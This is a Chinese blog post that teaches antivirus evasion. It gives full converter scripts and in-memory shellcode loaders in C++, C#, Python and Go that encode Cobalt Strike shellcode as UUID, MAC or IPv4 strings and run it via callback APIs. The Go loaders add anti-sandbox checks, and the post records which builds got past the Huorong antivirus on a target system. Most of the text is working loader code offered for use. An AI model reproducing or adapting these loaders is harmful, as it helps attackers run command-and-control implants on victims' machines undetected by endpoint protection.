• 免杀对抗-内存加载-shellcode转换-UUID+MAC+IPV4


    内存加载-UUID地址-ShellCode转换

    介绍:通用唯一识别码(UUID),是用于计算机体系中以识别信息数目的一个128位标识符,根据标准方法生成,不依赖中央机构的注册和分配,UUID具有唯一性。

    演示语言:c++

    1.使用以下代码将c语言的shellcode转换为uuid类型

    代码:uuid.py

    1. import uuid
    2. import binascii
    3. buf = b"生成的shellcode"
    4. hex = binascii.hexlify(buf).decode()
    5. hex += '0' * (32 - (len(hex) % 32))
    6. for i in range(0,len(hex),32):
    7. print("\"{}\",".format(uuid.UUID(bytes_le=binascii.unhexlify(hex[i:i+32]))))

    使用python运行

    2.使用32位的加载器执行,将uuid类型的shellcode放到如下加载器中

    c++的uuid-shellcode加载器代码:uuid.cpp

    1. #include
    2. #include
    3. #include
    4. #pragma comment(lib, "Rpcrt4.lib")
    5. #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
    6. const char* uuids[] =
    7. {
    8. uuid的shellcode
    9. };
    10. int main()
    11. {
    12. HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
    13. void* ha = HeapAlloc(hc, 0, 0x100000);
    14. DWORD_PTR hptr = (DWORD_PTR)ha;
    15. int elems = sizeof(uuids) / sizeof(uuids[0]);
    16. for (int i = 0; i < elems; i++) {
    17. RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);
    18. if (status != RPC_S_OK) {
    19. CloseHandle(ha);
    20. return -1;
    21. }
    22. hptr += 16;
    23. }
    24. EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
    25. CloseHandle(ha);
    26. return 0;
    27. }

    执行代码,cs成功上线

    3.生成exe执行程序,上传目标系统,被火绒杀死。

    此shellcode转换uuid的方法还可以使用:C# Python2 Go 等语言的shellcode加载器实施免杀。

    演示语言:c#

    4.使用c#语言加载器,生成exe程序。

    c#的uuid-shellcode加载器代码:uuid.cs

    1. using System;
    2. using System.Collections.Generic;
    3. using System.Linq;
    4. using System.Text;
    5. using System.Threading.Tasks;
    6. using System.Runtime.InteropServices;
    7. using DInvoke;
    8. namespace UuidShellcode
    9. {
    10. class Program
    11. {
    12. [DllImport("kernel32.dll", SetLastError = true)]
    13. static extern IntPtr HeapCreate(uint flOptions, UIntPtr dwInitialSize,UIntPtr dwMaximumSize);
    14. [DllImport("kernel32.dll", SetLastError = false)]static extern IntPtr HeapAlloc(IntPtr hHeap, uint dwFlags, uint dwBytes);
    15. static void Main(string[] args)
    16. {
    17. var HeapCreateHandle = HeapCreate((uint)0x00040000, UIntPtr.Zero, UIntPtr.Zero);
    18. var heapAddr = HeapAlloc(HeapCreateHandle, (uint)0, (uint)0x100000);
    19. string[] uuids =
    20. {
    21. Uuid的shellcode
    22. };
    23. IntPtr pkernel32 = DInvoke.DynamicInvoke.Generic.GetPebLdrModuleEntry("kernel32.dll");
    24. IntPtr prpcrt4 = DInvoke.DynamicInvoke.Generic.GetPebLdrModuleEntry("rpcrt4.dll");
    25. IntPtr pEnumSystemLocalesA = DInvoke.DynamicInvoke.Generic.GetExportAddress(pkernel32, "EnumSystemLocalesA");
    26. IntPtr pUuidFromStringA = DInvoke.DynamicInvoke.Generic.GetExportAddress(prpcrt4, "UuidFromStringA");
    27. IntPtr newHeapAddr = IntPtr.Zero;
    28. for (int i = 0; i < uuids.Length; i++)
    29. {
    30. newHeapAddr = IntPtr.Add(HeapCreateHandle, 16 * i);
    31. object[] uuidFromStringAParam = { uuids[i], newHeapAddr };
    32. var status = (IntPtr)DInvoke.DynamicInvoke.Generic.DynamicFunctionInvoke(pUuidFromStringA, typeof(DELEGATE.UuidFromStringA), ref uuidFromStringAParam);
    33. }
    34. object[] enumSystemLocalesAParam = { HeapCreateHandle, 0 };
    35. var result = DInvoke.DynamicInvoke.Generic.DynamicFunctionInvoke(pEnumSystemLocalesA, typeof(DELEGATE.EnumSystemLocalesA), ref enumSystemLocalesAParam);
    36. }
    37. }
    38. public class DELEGATE
    39. {
    40. [UnmanagedFunctionPointer(CallingConvention.StdCall)]
    41. public delegate IntPtr UuidFromStringA(string StringUuid, IntPtr heapPointer);
    42. [UnmanagedFunctionPointer(CallingConvention.StdCall)]
    43. public delegate bool EnumSystemLocalesA(IntPtr lpLocaleEnumProc, int dwFlags);
    44. }
    45. }

    5.将exe上传目标系统,成功绕过火绒检测

    内存加载-MAC地址-ShellCode转换

    介绍:MAC地址也叫物理地址、硬件地址,由网络设备制造商生产时烧录在网卡的EPROM一种闪存芯片,通常可以通过程序擦写。IP地址与MAC地址在计算机里都是以二进制表示的,IP地址是32位的,而MAC地址则是48位(6个字节)的。

    使用python语言的加载器

    1.使用以下代码将c语言的shellcode转换为mac类型

    代码:mac.py

    1. import ctypes
    2. shellcode = b"生成的shellcode"
    3. macmem = ctypes.windll.kernel32.VirtualAlloc(0,len(shellcode)/6*17,0x3000,0x40)
    4. for i in range(len(shellcode)/6):
    5. bytes_a = shellcode[i*6:6+i*6]
    6. ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_a, macmem+i*17)
    7. a = ctypes.string_at(macmem, len(shellcode) * 3 - 1)
    8. print(a)
    9. list = []
    10. for i in range(len(shellcode)/6):
    11. d = ctypes.string_at(macmem+i*17,17)
    12. list.append(d)
    13. print(list)

    使用python2执行:

    2.将生成的mac类型shellcode放到加载器中。

    python语言的mac类型shellcode加载器代码:mac-zx.py

    1. import ctypes
    2. list=[mac类型shellcode]
    3. ptr = ctypes.windll.kernel32.VirtualAlloc(0,len(list)*6,0x3000,0x04)
    4. rwxpage = ptr
    5. for i in range(len(list)):
    6. ctypes.windll.Ntdll.RtlEthernetStringToAddressA(list[i], list[i], rwxpage)
    7. rwxpage += 6
    8. ctypes.windll.kernel32.VirtualProtect(ptr, len(list)*6, 0x40, ctypes.byref(ctypes.c_long(1)))
    9. handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
    10. ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

    使用python2执行,cs成功上线

    3.执行命令,使用pyinstaller将mac-zx.py打包成exe执行程序。

    安装:python install pyinstall

    注:python2如果安装不成功,可使用python3安装,然后在sciripts目录将pyinstall.exe程序复制到python2

    打包命令:pyinstaller.exe -F -w mac-zx.py

    执行打包成功,exe保存在dist目录下

    4.将exe程序上传到目标系统,成功绕过火绒检测。

    使用go语言的加载器

    1.使用以下代码将c语言的shellcode转换为mac类型

    代码:mac.py 安装的go是什么位数就使用什么位数的shellcode

    1. import ctypes
    2. #Input your shellcode like:\xfc\x48\x83\xe4\xf0\xe8\xxx
    3. shellcode = b'生成的shellcode'
    4. mac = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode)/6*17, 0x3000, 0x40)
    5. for i in range(len(shellcode)/6):
    6. bytes_shellcode = shellcode[i*6:6+i*6]
    7. ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_shellcode, mac+i*17)
    8. a = ctypes.string_at(mac, len(shellcode)*3-1)
    9. #print(a)
    10. l = []
    11. for i in range(len(shellcode)/6):
    12. d = ctypes.string_at(mac+i*17, 17)
    13. l.append(d)
    14. mac_shellcode = str(l).replace("'", "\"").replace(" ", "").replace("\r\n","")
    15. with open("mac_shell.txt", "w+") as f:
    16. f.write(mac_shellcode)

    使用python执行:在根目录生成一个mac_shell.txt文件保存mac类型的shellcode

    2.将转换的mac类型shellcode放到如下加载器中

    go语言mac-shelcode加载器代码:此加载器有反虚拟机代码,防止杀软调试

    go-mac.go:

    1. /*
    2. Author:Crispr
    3. */
    4. packagemain
    5. import(
    6. "fmt"
    7. "io/ioutil"
    8. "log"
    9. "os"
    10. "runtime"
    11. "syscall"
    12. "time"
    13. "unsafe"
    14. "github.com/Binject/universal"
    15. "golang.org/x/sys/windows"
    16. )
    17. var(
    18. kernel32=windows.NewLazySystemDLL("kernel32")
    19. Activeds=windows.NewLazySystemDLL("Activeds.dll")
    20. HeapCreate=kernel32.NewProc("HeapCreate")
    21. HeapAlloc=kernel32.NewProc("HeapAlloc")
    22. AllocADsMem=Activeds.NewProc("AllocADsMem")
    23. VirtualProtectEx=kernel32.NewProc("VirtualProtectEx")
    24. EnumSystemLocalesW=kernel32.NewProc("EnumSystemLocalesW")
    25. )
    26. const(
    27. //配置堆属性
    28. MEM_COMMIT=0x1000
    29. MEM_RESERVE=0x2000
    30. PAGE_EXECUTE_READWRITE=0x40//区域可以执行代码,应用程序可以读写该区域。
    31. HEAP_CREATE_ENABLE_EXECUTE=0x00040000
    32. )
    33. //此处填写shellcode转化为MAC后的字符例如"FC-48-83-E4-F0-E8","C8-00-00-00-41-51"
    34. varshell_mac[]string=[]string{mac类型shellcode}
    35. funcnumverofCPU()(int,error){
    36. num_of_cpu:=runtime.NumCPU()
    37. ifnum_of_cpu<4{
    38. return0,nil
    39. }else{
    40. return1,nil
    41. }
    42. }
    43. functimeSleep()(int,error){
    44. startTime:=time.Now()
    45. time.Sleep(10*time.Second)
    46. endTime:=time.Now()
    47. sleepTime:=endTime.Sub(startTime)
    48. ifsleepTime>=time.Duration(10*time.Second){
    49. return1,nil
    50. }else{
    51. return0,nil
    52. }
    53. }
    54. funcphysicalMemory()(int,error){
    55. varmod=syscall.NewLazyDLL("kernel32.dll")
    56. varproc=mod.NewProc("GetPhysicallyInstalledSystemMemory")
    57. varmemuint64
    58. proc.Call(uintptr(unsafe.Pointer(&mem)))
    59. mem=mem/1048576
    60. ifmem<4{
    61. return0,nil
    62. }
    63. return1,nil
    64. }
    65. funcmain(){
    66. //自定义睡眠时间
    67. //timeSleep()
    68. varntdll_image[]byte
    69. varerrerror
    70. num,_:=numverofCPU()
    71. mem,_:=physicalMemory()
    72. ifnum==0||mem==0{
    73. fmt.Printf("HelloCrispr")
    74. os.Exit(1)
    75. }
    76. ntdll_image,err=ioutil.ReadFile("C:\\Windows\\System32\\ntdll.dll")
    77. /*
    78. heapAddr,_,err:=HeapCreate.Call(uintptr(HEAP_CREATE_ENABLE_EXECUTE),0,0)
    79. ifheapAddr==0{
    80. log.Fatal(fmt.Sprintf("therewasanerrorcallingtheHeapCreatefunction:\r\n%s",err))
    81. }
    82. */
    83. ntdll_loader,err:=universal.NewLoader()
    84. iferr!=nil{
    85. log.Fatal(err)
    86. }
    87. ntdll_library,err:=ntdll_loader.LoadLibrary("main",&ntdll_image)
    88. iferr!=nil{
    89. log.Fatal(fmt.Sprintf("therewasanerrorcallingtheLoadLibraryfunction:\r\n%s",err))
    90. }
    91. /*
    92. addr,_,err:=HeapAlloc.Call(heapAddr,0,uintptr(len(shell_mac)*6))
    93. */
    94. addr,_,err:=AllocADsMem.Call(uintptr(len(shell_mac)*6))
    95. ifaddr==0||err.Error()!="Theoperationcompletedsuccessfully."{
    96. log.Fatal(fmt.Sprintf("therewasanerrorcallingtheHeapAllocfunction:\r\n%s",err))
    97. }
    98. addrptr:=addr
    99. for_,mac:=rangeshell_mac{
    100. u:=append([]byte(mac),0)
    101. _,err=ntdll_library.Call("RtlEthernetStringToAddressA",uintptr(unsafe.Pointer(&u[0])),uintptr(unsafe.Pointer(&u[0])),addrptr)
    102. iferr!=nil&&err.Error()!="Theoperationcompletedsuccessfully."{
    103. log.Fatal(fmt.Sprintf("therewasanerrorcallingtheHeapAllocfunction:\r\n%s",err))
    104. }
    105. addrptr+=6
    106. }
    107. oldProtect:=windows.PAGE_READWRITE
    108. VirtualProtectEx.Call(uintptr(windows.CurrentProcess()),addr,uintptr(len(shell_mac)*6),windows.PAGE_EXECUTE_READWRITE,uintptr(unsafe.Pointer(&oldProtect)))
    109. EnumSystemLocalesW.Call(addr,0)
    110. }

    注:如果go get时出现超时错误,执行:go env -w GOPROXY=https://goproxy.cn

    3.执行加载器,cs成功上线

    4.执行命令,生成exe程序

    命令:go build 加载器名字

    5.exe上传到目标目录,直接被火绒拿捏。火绒:你直……………………………接给我坐下!

    内存加载-IPV4方式-ShellCode转换

    介绍:IPv4是一种无连接的协议,操作在使用分组交换的链路层(如以太网)上。此协议会尽最大努力交付数据包,意即它不保证任何数据包均能送达目的地,也不保证所有数据包均按照正确的顺序无重复地到达。IPv4使用32位(4字节)地址。

    使用go语言加载器

    1.使用如下代码将cs生成的c语言shellcode转换成ipv4类型的shellcode

    ipv4.py:

    1. # coding = utf-8
    2. import ctypes
    3. #Input your shellcode like:\xfc\x48\x83\xe4\xf0\xe8\xxx
    4. shellcode = b'cs生成的shellcode'
    5. ipv4 = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode)/4*15, 0x3000, 0x40)
    6. for i in range(len(shellcode)/4):
    7. bytes_shellcode = shellcode[i*4:i*4+4]
    8. ctypes.windll.Ntdll.RtlIpv4AddressToStringA(bytes_shellcode, ipv4+i*15)
    9. a = ctypes.string_at(ipv4, len(shellcode)*4-1)
    10. l = []
    11. for i in range(len(shellcode)/4):
    12. d = ctypes.string_at(ipv4+i*15, 15)
    13. l.append(d)
    14. ipv4_shellcode = str(l).replace("'", "\"").replace(" ", "").replace("\r\n","")
    15. with open("ipv4_shell.txt", "w+") as f:
    16. f.write(ipv4_shellcode)

    使用python执行:生成的shellcode保存在ipv4_shell.txt文件中

    2.将ipv4类型的shellcode放到如下加载器中。

    go语言的ipv4-shellcode加载器代码:

    go-ipv4.go:

    1. /*
    2. Author:Crispr
    3. */
    4. packagemain
    5. import(
    6. "fmt"
    7. "io/ioutil"
    8. "log"
    9. "os"
    10. "runtime"
    11. "syscall"
    12. "time"
    13. "unsafe"
    14. "github.com/Binject/universal"
    15. "golang.org/x/sys/windows"
    16. )
    17. var(
    18. kernel32=windows.NewLazySystemDLL("kernel32")
    19. Activeds=windows.NewLazySystemDLL("Activeds.dll")
    20. HeapCreate=kernel32.NewProc("HeapCreate")
    21. HeapAlloc=kernel32.NewProc("HeapAlloc")
    22. AllocADsMem=Activeds.NewProc("AllocADsMem")
    23. VirtualProtectEx=kernel32.NewProc("VirtualProtectEx")
    24. EnumSystemLocalesW=kernel32.NewProc("EnumSystemLocalesW")
    25. )
    26. const(
    27. //配置堆属性
    28. MEM_COMMIT=0x1000
    29. MEM_RESERVE=0x2000
    30. PAGE_EXECUTE_READWRITE=0x40//区域可以执行代码,应用程序可以读写该区域。
    31. HEAP_CREATE_ENABLE_EXECUTE=0x00040000
    32. )
    33. //此处放转换后的shellcode例如252.72.131.228\x00","240.232.200.0\x00\x00"
    34. varshell_ipv4[]string=[]string{"ipv4类型的shellcode"}
    35. functimeSleep()(int,error){
    36. startTime:=time.Now()
    37. time.Sleep(10*time.Second)
    38. endTime:=time.Now()
    39. sleepTime:=endTime.Sub(startTime)
    40. ifsleepTime>=time.Duration(10*time.Second){
    41. return1,nil
    42. }else{
    43. return0,nil
    44. }
    45. }
    46. funcnumverofCPU()(int,error){
    47. num_of_cpu:=runtime.NumCPU()
    48. ifnum_of_cpu<4{
    49. return0,nil
    50. }else{
    51. return1,nil
    52. }
    53. }
    54. funcphysicalMemory()(int,error){
    55. varmod=syscall.NewLazyDLL("kernel32.dll")
    56. varproc=mod.NewProc("GetPhysicallyInstalledSystemMemory")
    57. varmemuint64
    58. proc.Call(uintptr(unsafe.Pointer(&mem)))
    59. mem=mem/1048576
    60. ifmem<4{
    61. return0,nil
    62. }
    63. return1,nil
    64. }
    65. funcmain(){
    66. //自定义睡眠时间
    67. //timeSleep()
    68. varntdll_image[]byte
    69. varerrerror
    70. num,_:=numverofCPU()
    71. mem,_:=physicalMemory()
    72. ifnum==0||mem==0{
    73. fmt.Printf("HelloCrispr")
    74. os.Exit(1)
    75. }
    76. ntdll_image,err=ioutil.ReadFile("C:\\Windows\\System32\\ntdll.dll")
    77. /*
    78. heapAddr,_,err:=HeapCreate.Call(uintptr(HEAP_CREATE_ENABLE_EXECUTE),0,0)
    79. ifheapAddr==0{
    80. log.Fatal(fmt.Sprintf("therewasanerrorcallingtheHeapCreatefunction:\r\n%s",err))
    81. }
    82. */
    83. ntdll_loader,err:=universal.NewLoader()
    84. iferr!=nil{
    85. log.Fatal(err)
    86. }
    87. ntdll_library,err:=ntdll_loader.LoadLibrary("main",&ntdll_image)
    88. iferr!=nil{
    89. log.Fatal(fmt.Sprintf("therewasanerrorcallingtheLoadLibraryfunction:\r\n%s",err))
    90. }
    91. /*
    92. addr,_,err:=HeapAlloc.Call(heapAddr,0,uintptr(len(shell_mac)*6))
    93. */
    94. addr,_,err:=AllocADsMem.Call(uintptr(len(shell_ipv4)*4))
    95. ifaddr==0||err.Error()!="Theoperationcompletedsuccessfully."{
    96. log.Fatal(fmt.Sprintf("therewasanerrorcallingtheHeapAllocfunction:\r\n%s",err))
    97. }
    98. addrptr:=addr
    99. for_,ipv4:=rangeshell_ipv4{
    100. u:=append([]byte(ipv4),0)
    101. _,err=ntdll_library.Call("RtlIpv4StringToAddressA",uintptr(unsafe.Pointer(&u[0])),uintptr(0),uintptr(unsafe.Pointer(&u[0])),addrptr)
    102. iferr!=nil&&err.Error()!="Theoperationcompletedsuccessfully."{
    103. log.Fatal(fmt.Sprintf("therewasanerrorcallingtheHeapAllocfunction:\r\n%s",err))
    104. }
    105. addrptr+=4
    106. }
    107. oldProtect:=windows.PAGE_READWRITE
    108. VirtualProtectEx.Call(uintptr(windows.CurrentProcess()),addr,uintptr(len(shell_ipv4)*4),windows.PAGE_EXECUTE_READWRITE,uintptr(unsafe.Pointer(&oldProtect)))
    109. EnumSystemLocalesW.Call(addr,0)
    110. }

    3.执行加载器,cs成功上线

    4.执行命令,生成exe程序

    命令:go build 加载器名字

    5.将exe上传目标目录,被杀

    番外:

    在shellcode转换成UUID、MAC、IPV4等类型的基础上,还可以配合:编码、加密、分离、垃圾数据等免杀手段提示免杀效果。

  • 相关阅读:
    基于wifi控制的51单片机温度报警器
    python指针参数学习笔记
    Hadoop HA高可用环境搭建
    携创教育:成人高考理工类只能理科生报考吗
    国际服务贸易期末考试复习资料
    深入理解lambda的奥秘
    【2023年11月第四版教材】第11章《成本管理》(第2部分)
    PyTorch学习笔记(一)
    前端面试题
    c语言进阶篇:文件操作(带你全面学习文件操作)
  • 原文地址:https://blog.csdn.net/m0_51345235/article/details/133316491